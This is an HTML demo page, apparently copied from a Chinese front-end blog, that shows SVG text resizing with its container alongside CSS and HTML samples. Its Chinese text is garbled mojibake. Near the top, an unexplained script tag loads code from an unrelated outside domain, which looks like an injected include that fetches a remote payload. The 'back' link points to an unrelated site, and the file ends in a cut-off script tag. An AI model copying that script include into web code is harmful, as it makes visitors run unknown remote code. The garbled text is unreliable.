SVG瀹炵幇鏂囧瓧澶у皬璺熼殢瀹瑰櫒鑷姩鍙樺寲禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .container { width: 400px; overflow: hidden; resize: both; } .container > svg { width: 100%; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>SVG瀹炵幇鏂囧瓧澶у皬璺熼殢瀹瑰櫒鑷姩鍙樺寲瀹炰緥椤甸潰</h1> <a href="//suyamvaraa.com/wordpress/?p=7445" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show"> <div class="demo"> <div class="container"> <svg width="600" height="80" viewBox="0 0 600 80"> <text font-family="'Helvetica Neue','PingFang SC','microsoft yahei'" font-size="60" x="0" y="1em">CSS涓栫晫杩欐湰涔︿笉閿欙紒</text> </svg> </div> </div> </div> </div> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> .container { width: 400px; overflow: hidden; resize: both; } .container > svg { width: 100%; } </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div class="container"> <svg width="600" height="80" viewBox="0 0 600 80"> <text font-family="'Helvetica Neue','PingFang SC','microsoft yahei'" font-size="60" x="0" y="1em">CSS涓栫晫杩欐湰涔︿笉閿欙紒</text> </svg> </div> </pre> </div> </div> </div> </div>  <script src="../js/hl_all.js"></script> <script> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys